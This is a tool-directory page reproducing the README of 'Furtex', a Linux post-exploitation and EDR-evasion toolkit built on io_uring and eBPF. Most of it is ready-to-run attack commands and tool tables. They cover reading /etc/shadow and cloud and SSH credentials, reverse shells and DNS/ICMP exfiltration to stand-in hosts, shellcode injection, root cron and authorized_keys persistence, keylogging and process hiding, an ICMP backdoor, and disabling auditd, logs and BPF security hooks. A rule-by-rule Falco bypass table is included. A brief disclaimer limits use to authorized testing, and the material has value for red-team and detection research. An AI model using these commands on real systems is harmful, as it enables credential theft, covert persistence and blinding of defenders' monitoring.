Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Furtex — Post-exploitation and evasion research toolkit for Linux. | Kitploit
Tools/GitHubGitHub/matheuzsecurity/furtex
Privilege EscalationExploitationPost-ExploitationMalware AnalysisPenetration TestingCommand and ControlBinary AnalysisRed TeamingPayload Development
GitHubmatheuzsecurity/furtex

Furtex

Post-exploitation and evasion research toolkit for Linux.

2613029 days agoReviewed by Kitploit

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
View Repository

Furtex

Post-exploitation and evasion research toolkit for Linux, built around io_uring and eBPF. No liburing, no frameworks, raw syscalls throughout.

More tools soon. PRs are welcome. 🇧🇷

Join in Rootkit Researchers

  • https://discord.gg/66N5ZQppU7

For authorized research and red team engagements only. Don't run this on systems you don't own.

root@kitploit:~
Furtex/
├── io_uring/     raw io_uring ops: file, net, injection, exfil (13 tools)
├── bpf/          BPF map and program tooling (15 tools)
├── ebpf/         BPF-side programs and loaders (9 programs + 2 runners)
├── edrs/         EDR evasion and post-exploitation (75 tools)
└── techniques/   Falco-specific bypass, all 25 default rules (13 tools)

Requirements

Toolchain

toolneeded for
gccall userspace binaries
clangebpf/*.bpf.c BPF-side programs
makebuild system

Headers and libraries

On Debian/Kali/Ubuntu:

root@kitploit:~
sudo apt install gcc clang make linux-headers-$(uname -r) libbpf-dev bpftool

Kernel versions

Capabilities

BTF must be enabled in the kernel (CONFIG_DEBUG_INFO_BTF=y) to run make vmlinux for ebpf/ programs.

On distros with older libc-dev headers (Ubuntu 22.04 etc.) you may need #ifndef IORING_OP_SOCKET / #define IORING_OP_SOCKET 45. Already handled in this repo.

Build

edrs/ has its own sub-Makefile with ~75 binaries split by privilege:

root@kitploit:~
cd edrs && make priv    # root / CAP_* required
cd edrs && make unpriv  # no privileges needed

See PRIVILEGES.md for the full breakdown.

io_uring bypass coverage

io_uring SQEs go through the kernel workqueue. io_uring_enter(2) never calls through sys_call_table, never fires sys_enter_* tracepoints, and never hits livepatch on native_sys_call. That alone kills a large class of EDR hooks without touching anything.

What io_uring bypasses on its own:

hook pointnote
sys_call_table pointer replacementio_uring never goes through the syscall table
livepatch on native_sys_call / compat_sys_call

What io_uring does NOT bypass on its own (needs an active tool):

io_uring/

iouring_utils.h handles ring setup without liburing.

root@kitploit:~
./io_uring/file_read /etc/shadow
./io_uring/file_write /etc/cron.d/x "* * * * * root /tmp/sh"
./io_uring/file_append /root/.ssh/authorized_keys "ssh-ed25519 AAAA..."
./io_uring/net_connect 10.0.0.1 4444 "ping"
./io_uring/net_reverse_shell 192.168.1.1 4444
./io_uring/multifile_read /etc/passwd /etc/shadow /root/.ssh/id_rsa ~/.aws/credentials
cat payload | ./io_uring/memfd_exec [args...]
./io_uring/pipe_splice /etc/shadow /tmp/out
./io_uring/inotify_bypass_watch /var/log/auth.log
./io_uring/dns_exfil 1.2.3.4 exfil.example.com /etc/shadow

sudo ./io_uring/proc_inject
sudo ./io_uring/proc_inject <pid>
sudo ./io_uring/proc_inject          <pid> <shellcode_hex>
sudo ./io_uring/proc_inject --ptrace <pid> <shellcode_hex>

sudo ./io_uring/af_packet_send eth0 08:00:27:aa:bb:cc ff:ff:ff:ff:ff:ff "payload"
sudo ./io_uring/xdp_socket_send eth0 <hex-frame>

bpf/

Most tools require CAP_BPF. env_exfil works unprivileged. icmp_trigger requires CAP_NET_RAW instead of CAP_BPF.

root@kitploit:~
sudo ./bpf/map_recon
sudo ./bpf/map_dumper 42 --ascii
sudo ./bpf/map_write <map_id> <key_hex> <val_hex>
sudo ./bpf/prog_recon --maps --lsm-only
sudo ./bpf/edr_fin
sudo ./bpf/lsm_check <map_id>
sudo ./bpf/pid_allowlist <map_id> [pid]
sudo ./bpf/bpf_persist pin-map 42 /sys/fs/bpf/my_map
sudo ./bpf/bpf_persist list /sys/fs/bpf
sudo ./bpf/map_snapshot save    <prog_id> snap.bin
sudo ./bpf/map_snapshot restore snap.bin
./bpf/env_exfil --filter AWS
sudo ./bpf/bpf_link_detach list --lsm-only
sudo ./bpf/bpf_link_detach detach-lsm --dry-run
sudo ./bpf/link_update <link_id>
sudo ./bpf/map_freeze <map_id>
sudo ./bpf/map_freeze --prog <name_substr>
sudo ./bpf/icmp_trigger --daemon
sudo ./bpf/icmp_trigger --send <target> <c2_ip> <c2_port>

sudo ./bpf/map_poison <isys_id> <eta_id> -- ./io_uring/file_read /etc/shadow
sudo ./bpf/map_poison <isys_id> <eta_id> -- ./io_uring/net_reverse_shell 10.0.0.1 4444

ebpf/

Requires clang + libbpf + vmlinux.h. Run make vmlinux inside ebpf/ to generate from the running kernel's BTF.

root@kitploit:~
sudo ./bpf/map_write <hidden_ports_id> 5c11 01
sudo ./bpf/map_write <hidden_pids_id> d2040000 01

sudo ./ebpf/skf_c2_runner
ping -p 4d41474900$(printf 'id' | xxd -p | tr -d '\n') -c1 <target>

sudo ./ebpf/xdp_handler <trigger_map_id> <handler_pid_map_id>
echo -n 'MAGICid' | nc -u -q1 <target> 31337

edrs/

root@kitploit:~
sudo ./edrs/edr_recon
sudo ./edrs/edr_recon procs arts mods
sudo ./edrs/edr_recon progs maps

sudo ./edrs/bpf_prog_recon --all
sudo ./edrs/ftrace_enum list
sudo ./edrs/module_recon list
sudo ./edrs/perf_bpf_kill scan
sudo ./edrs/sysctl_blind show
sudo ./edrs/tetragon_blind scan

sudo ./edrs/audit_kill disable
sudo ./edrs/dmesg_wipe wipe
sudo ./edrs/bpf_detach_all
sudo ./edrs/ftrace_enum clear-kprobes
sudo ./edrs/netfilter_flush
sudo ./edrs/lkm_unload unload

./edrs/livepatch_bypass --read /etc/shadow
./edrs/uring_stealth cat /etc/shadow
./edrs/mmap_read /etc/shadow
./edrs/splice_read /etc/shadow
./edrs/plt_unhook read /etc/shadow
./edrs/openat2_bypass copy /etc/shadow /tmp/out

cat payload | ./edrs/memfd_userexec [args...]
cat payload | ./edrs/fanotify_bypass --memfd-exec
./edrs/anon_shellcode <shellcode_hex>
./edrs/fexecve_drop - < payload

sudo ./edrs/proc_mem_inject --inject <pid> <shellcode_hex>
./edrs/proc_vm_inject <pid> <shellcode_hex>
./edrs/ptrace_inject_so inject <pid> /tmp/payload.so

./edrs/userland_persist --lhost 10.0.0.1 --lport 4444
./edrs/userland_persist --sshkey "ssh-ed25519 AAAA..."
sudo ./edrs/livepatch_bypass --persist 192.168.1.1 4444

./edrs/shared_mem_c2 --agent &
./edrs/shared_mem_c2 --ctrl --cmd "id"
./edrs/abstract_sock_c2 server &
./edrs/abstract_sock_c2 client
./edrs/udp_shell 192.168.1.1 4444
./edrs/tls_shell 192.168.1.1 443

./edrs/dns_exfil_raw str exfil.example.com "data"
./edrs/pipe_exfil --send /etc/shadow 192.168.1.1 9999
cat data | sudo ./edrs/icmp_tunnel 192.168.1.1 -
SSH_AUTH_SOCK=/run/user/1000/ssh-agent.sock ./edrs/ssh_agent_hijack

./edrs/self_delete delete
./edrs/time_stomp clone /etc/passwd /tmp/target
sudo ./edrs/log_wipe hist /home/kali

./edrs/event_flood 500 4 -- ./edrs/proc_mem_inject --inject <pid> <hex>
./edrs/ringbuf_flood --flood --threads 8 --sec 5

./edrs/ns_exec user bash
./edrs/ns_exec full-hide bash
./edrs/clone_netns exec /bin/sh

./edrs/pidfd_steal scan
./edrs/pidfd_steal steal <pid> <fd>
./edrs/fd_steal_read <path_filter>
./edrs/fd_steal_read <path_filter> <pid> <fd>

techniques/ (Falco bypass)

Targets Falco's default ruleset (modern_ebpf driver, 25 rules). Run edrs/edr_recon first.

Bypass axis A: prevent the event from reaching Falco (io_uring skips sys_enter_*, ringbuf drain silently drops events). Bypass axis B: event reaches Falco but the rule condition doesn't match (proc.name spoof, path pivot, alternate flags).

root@kitploit:~
./techniques/uring_ops cat   /etc/shadow
./techniques/uring_ops creds
./techniques/uring_ops write /etc/cron.d/x "* * * * * root /tmp/sh"
./techniques/uring_ops shell 10.0.0.1 4444
./techniques/uring_ops chain /etc/shadow 10.0.0.1 9999

sudo ./techniques/ringbuf_overflow find
sudo ./techniques/ringbuf_overflow drain  <map_id>
./techniques/ringbuf_overflow  flood  16 10

./techniques/rule_evade name-spoof
./techniques/rule_evade path-pivot
./techniques/rule_evade all

sudo ./techniques/kmod_unload list
sudo ./techniques/kmod_unload unload

./techniques/proc_ghost ghost-elf /bin/ls
./techniques/proc_ghost ghost-sc  <hex>

./techniques/exe_from_memfd_bypass info
./techniques/exe_from_memfd_bypass sc   <hex>
./techniques/exe_from_memfd_bypass shm-exec <elf>
./techniques/exe_from_memfd_bypass dlopen  <so>

./techniques/event_storm mixed-storm 16 10
./techniques/event_storm snipe "cat /etc/shadow"

./techniques/proc_masquerade setname    sshd <cmd...>
./techniques/proc_masquerade fakeparent sshd <cmd...>
./techniques/proc_masquerade clone-parent sshd <cmd...>

./techniques/ns_pivot net-new
./techniques/ns_pivot userns-shell

./techniques/cgroup_escape check
./techniques/cgroup_escape proof
./techniques/cgroup_escape shell 10.0.0.1 4444

./techniques/bypass_file_rules read-masked /etc/shadow
./techniques/bypass_file_rules log-clear /var/log/auth.log
./techniques/bypass_file_rules grep-bypass /home "PRIVATE"

./techniques/bypass_proc_rules reverse-shell 10.0.0.1 4444
./techniques/bypass_proc_rules anti-debug
./techniques/bypass_proc_rules proc-inject <pid> <addr> <hex>

./techniques/per_rule_bypass list
./techniques/per_rule_bypass sensitive-read /etc/shadow
./techniques/per_rule_bypass exec-proc /tmp/elf
./techniques/per_rule_bypass clear-log /var/log/auth.log

Contributing

Open a PR. Single-purpose tools, raw syscalls, no new dependencies.

Legal

This project is intended strictly for security research, authorized penetration testing, CTF competitions, and defensive tooling development. All techniques demonstrated here are documented in public security research and kernel documentation.

Do not use this toolkit against systems you do not own or have explicit written authorization to test. Unauthorized use may violate the Computer Fraud and Abuse Act (CFAA), the EU Directive on Attacks Against Information Systems, and equivalent laws in your jurisdiction.

The authors assume no liability for misuse. By using this software you agree that you are solely responsible for compliance with applicable laws.

Download Tool
packageneeded for
linux-headers-$(uname -r)<linux/bpf.h>, <linux/io_uring.h> and related kernel headers
libbpf-dev<bpf/bpf_helpers.h> and friends used in ebpf/ programs
bpftoolgenerate vmlinux.h via make vmlinux inside ebpf/
minimumwhat it unlocks
5.4io_uring base (IORING_FEAT_SINGLE_MMAP, BPF map iteration)
5.6IORING_OP_OPENAT, IORING_OP_STATX, pidfd_getfd (pidfd_steal)
5.8CAP_BPF + CAP_PERFMON split (replaces CAP_SYS_ADMIN for BPF)
5.9BPF_LINK_DETACH (bpf_link_detach)
5.19IORING_OP_SOCKET (af_packet_send, dns_exfil, xdp_socket_send, bpf_kprobe_bypass)
capabilitytools that require it
CAP_BPF (or CAP_SYS_ADMIN pre-5.8)all bpf/ tools, ebpf/ loaders
CAP_PERFMONebpf/ tracepoint and kprobe programs
CAP_NET_RAWicmp_tunnel, af_packet_shell, skf_c2_runner, icmp_trigger
CAP_NET_ADMINxdp_socket_send, netfilter_flush
CAP_AUDIT_CONTROLaudit_kill
commandbuilds
make alleverything
make uringio_uring/ only
make bpfbpf/ userspace tools
make ebpfBPF-side programs (needs clang + libbpf)
make edrsall edrs/ binaries
make techniquesFalco bypass tools
make cleanremove all binaries
same reason
sys_enter_* tracepointsworkqueue path, no tracepoint fires
hook pointtoolwhat the tool does
kprobes on vfs_read, security_file_open, etc.ftrace_enumremoves the kprobe hooks
BPF LSM / KRSIbpf_link_detachdetaches the BPF link
Linux auditaudit_killdisables auditd via NETLINK_AUDIT
LD_PRELOAD / PLT-GOT patchesplt_unhookremoves the userland hooks
netfilter OUTPUT / conntrackaf_packet_shelluses AF_PACKET at layer 2, skips netfilter
inet_stream_connect hooksudp_shelluses UDP, never calls tcp connect path
binarywhat it does
file_readOPENAT+READ+CLOSE chain via io_uring, no sys_enter_read event
file_writeOPENAT+WRITE+CLOSE chain
file_appendsame as file_write but O_APPEND, offset -1
net_connectSOCKET+CONNECT+SEND+RECV in one ring
net_reverse_shellreverse shell over io_uring CONNECT
multifile_readup to 64 files in one SQE batch
memfd_execstream ELF via stdin into memfd, execve via /proc/self/fd
proc_injectJIT injection via /proc/PID/mem; ptrace injection (--ptrace flag)
pipe_spliceSPLICE kernel-to-kernel, userspace hooks never see bytes
inotify_bypass_watchio_uring READ does not raise IN_ACCESS/IN_OPEN
dns_exfilhex-encode data as DNS query labels over io_uring SENDMSG
af_packet_sendraw Ethernet via AF_PACKET (IORING_OP_SOCKET, bypasses inet path)
xdp_socket_sendraw frame via AF_XDP + UMEM ring, bypasses netfilter entirely
binarywhat it does
map_reconlist all loaded BPF maps
map_dumperdump map contents by ID
map_writeupdate map entries by ID
map_poisonzero Falco's interesting_sys entries around a payload
prog_reconlist BPF programs: type, name, map count
pid_allowlistinsert PID into an EDR allowlist map
edr_finscore loaded BPF maps/programs against known EDR heuristics
lsm_checkdetect active BPF LSM hooks and test if map writes are blocked
bpf_persistpin/retrieve/unpin maps and programs on bpffs
map_snapshotsave and restore map contents to a binary file
env_exfilread /proc/*/environ for secrets
bpf_link_detachenumerate and detach BPF links (removes LSM hooks)
link_updateredirect a BPF link to a no-op program (hook stays visible, fires nothing)
map_freezefreeze a BPF map read-only via BPF_MAP_FREEZE (writes return -EPERM)
icmp_triggerICMP magic-packet backdoor; spawns reverse shell via socketpair relay; masquerades as kworker/u4:2
filewhat it does
exec.bpf.ctracepoint on sys_enter_execve
fentry_open.bpf.ctracepoint on sys_enter_openat
creds.bpf.ctrack openat+read on credential paths
keylog.bpf.cinput event tracepoint, raw keycode capture
net.bpf.csys_enter_connect logging
net_hide.bpf.chide ports from /proc/net/tcp and /proc/net/udp
proc_hide.bpf.chide PIDs from getdents64 output
tty_sniff.bpf.ccapture stdin/stdout/stderr writes and reads
skf_c2_runner.cICMP C2 via classic BPF socket filter
xdp_backdoor.bpf.c + xdp_handler.cXDP trigger on magic UDP packet
binaryroottechnique
edr_reconyes12-vendor EDR detector: processes, artifacts, modules, BPF, kprobes
bpf_prog_reconyesenumerate loaded BPF programs, maps, and kprobes
bpf_map_wipeyeswipe BPF map entries
bpf_detach_allyesdetach all BPF links
tetragon_blindyesscan, freeze, thaw, kill or blind Tetragon/Falco processes
ftrace_enumyesenumerate and clear kprobe/ftrace hooks
lkm_unloadyesunload kernel modules
lkm_inline_detectyesdetect inline kernel hooks
perf_bpf_killyesenumerate and kill Falco perf-event BPF programs
module_reconyesenumerate kernel modules
cgroup_freezeyesfreeze/thaw process via cgroup v2
oom_cageyesset oom_score_adj for self or target
sysctl_blindyesread/write security-relevant sysctls
audit_killyesdisable/throttle Linux audit via NETLINK_AUDIT
inotify_exhaustyesconsume all inotify watches
netfilter_flushyesflush netfilter chains
dmesg_wipeyesclear kernel ring buffer
ld_so_preloadyesmanipulate /etc/ld.so.preload
proc_hideyeshide /proc/PID via bind-mount
mount_overyesbind-mount over arbitrary paths
log_wipeyestruncate log files and shell history
elf_infectyesPT_NOTE to PT_LOAD parasite injection
proc_mem_injectyespwrite to /proc/PID/mem, no ptrace attach
af_packet_shellyesraw Ethernet C2 bypassing netfilter OUTPUT
icmp_tunnelyesexfil via ICMP echo-request payload
event_floodyesevent flood around payload to saturate monitor
livepatch_bypassyesio_uring past livepatch hooks on syscall dispatcher
livepatch_stack_blindyesdisable livepatch + BPF kprobe + netfilter hook stack; module unload via comm spoofing
lsm_authlink_blindyesdisable LSM auth-link flows, freeze or kill auth agent, write via inode swap
lsm_callback_bypassyesbypass LSM callbacks via pidfd_getfd, process_vm_writev, perf+BPF attach, new netns
bpf_fim_blindyesfreeze BPF FIM sensor, wipe ring-buffer map entries, flood ringbuf
syscall_dispatch_bypassyesio_uring file/net ops bypassing kprobes on syscall dispatch and livepatch do_syscall_64
bpf_kprobe_bypassyesio_uring file/net/exec ops bypassing _x64_sys* kprobe targets
ptrace_inject_soyesload .so into live process via ptrace + dlopen
uring_stealthnofile/net ops via io_uring, no sys_enter_* events
openat2_bypassnoalternative syscalls (openat2, copy_file_range)
ptrace_selfguardnoblock external ptrace via guardian process
plt_unhooknodetect and bypass PLT-GOT hooks via dlmopen
fexecve_dropnoELF into memfd, execve via /proc/self/fd
memfd_loadernoload .so via memfd, constructor called
memfd_userexecnoELF from stdin into memfd, execve via /proc/self/fd
hollow_procnoprocess hollowing with decoy name in ps
argv_spoofnorename comm via prctl(PR_SET_NAME) and argv[0] overwrite
clone_netnsnounprivileged net namespace exec
ns_execnounshare user/pid/mount namespaces
splice_c2noTCP C2 using splice(2) for data transfer; send/recv hooks never fire
abstract_sock_c2noC2 over abstract Unix socket
udp_shellnoUDP reverse shell, bypasses inet_stream_connect
tls_shellnoreverse shell behind fake TLS ClientHello
dns_exfil_rawnohex-encode data as DNS query labels
pidfd_stealnosteal open fds from other processes via pidfd_getfd
vma_hidenoRWX to PROT_NONE cycle, MADV_DONTDUMP, VMA renaming
coredump_blocknoblock core dumps via filter/dumpable/rlimit
seccomp_notifynointercept syscalls via SECCOMP_USER_NOTIF
ipc_covertnoC2 over POSIX mqueue
shared_mem_c2noC2 over POSIX shm, no network traffic
pipe_exfilnosplice(2) exfil, LD_PRELOAD hooks blind
proc_fd_scannoscan /proc/PID/fd symlinks for sensitive paths
proc_vm_injectnoprocess_vm_writev, no /proc/PID/fd opened
self_deletenodelete own binary from disk while running
time_stompnoclone/zero/set atime+mtime
userland_persistnobashrc/crontab/autostart/authorized_keys
env_scrapenoread /proc/*/environ for secrets and SSH sockets
anon_shellcodenoshellcode in MAP_ANONYMOUS, no file, no execve
ld_preload_injectnodrop .so, inject via LD_PRELOAD
ssh_agent_hijacknospeak agent protocol to captured socket
fanotify_bypassnomemfd/anon-mmap/devshm to avoid fanotify marks
ringbuf_floodnosaturate BPF ringbuf to drop events
log_evasionnoio_uring file ops and raw-syscall TCP shell, no libc wrappers
syscalltable_bypassnoio_uring past sys_call_table pointer hooks
uring_recon_unprivnocredentials, keys, connections via io_uring read
fd_steal_readnosteal fds via pidfd_getfd, read without own open()
mmap_readnoread files via mmap, no read() syscall
scm_rights_exfilnopass fd over SCM_RIGHTS, read without own open()
splice_readnoread via splice(2), no userspace buffer
toolaxisFalco rules
uring_opsA1 2 3 7 9 10 12 13 14 15 18 21
ringbuf_overflowAall
rule_evadeB3 5 6 17
kmod_unloadAall
proc_ghostA/B22 23 25
exe_from_memfd_bypassB25
event_stormAall
proc_masqueradeB3 4 5 8 17
ns_pivotB6 14
cgroup_escapeA18
bypass_file_rulesB1 2 3 9 10 11 12 13 21
bypass_proc_rulesB4 6 8 15 17 18 19 20 22 23 24
per_rule_bypassA/Ball 25
RuleBypassTool
1 Directory traversal monitored file readio_uring OPENATuring_ops cat, per_rule_bypass dir-traversal
3 Read sensitive file untrustedio_uring or prctluring_ops creds, bypass_file_rules read-masked
4 Run shell untrustedpython3/perl instead of shrule_evade unusual-shell
6 Terminal shell in containersetsid, proc.tty=0bypass_proc_rules shell-notty
7 Contact K8S API Serverio_uring CONNECTuring_ops shell, per_rule_bypass k8s-connect
8 Netcat RCEC binary, proc.name != nc/ncatbypass_proc_rules reverse-shell
9 Search Private Keysopen+read in C, no grep/findbypass_file_rules grep-bypass
10 Clear Log Activitiesftruncate without O_TRUNCbypass_file_rules log-clear
11 Remove Bulk Datawrite loop, no shred/mkfsbypass_file_rules wipe
15 Redirect STDOUT/STDIN to Networkfcntl F_DUPFD instead of dup2bypass_proc_rules reverse-shell
18 Detect release_agent Escapeio_uring OPENAT+WRITE to release_agentcgroup_escape proof/shell, uring_ops write
19 PTRACE attached to process/proc/PID/mem or process_vm_writevbypass_proc_rules proc-inject
20 PTRACE anti-debug attemptTracerPid check via /proc/self/statusbypass_proc_rules anti-debug
22 Execution from /dev/shmexec from /run/user/uid/ insteadbypass_proc_rules run-safe
25 Fileless execution via memfd_createshellcode via mmap, no execveexe_from_memfd_bypass sc, proc_ghost ghost-sc
alldrain ringbuf or remove scap.koringbuf_overflow, kmod_unload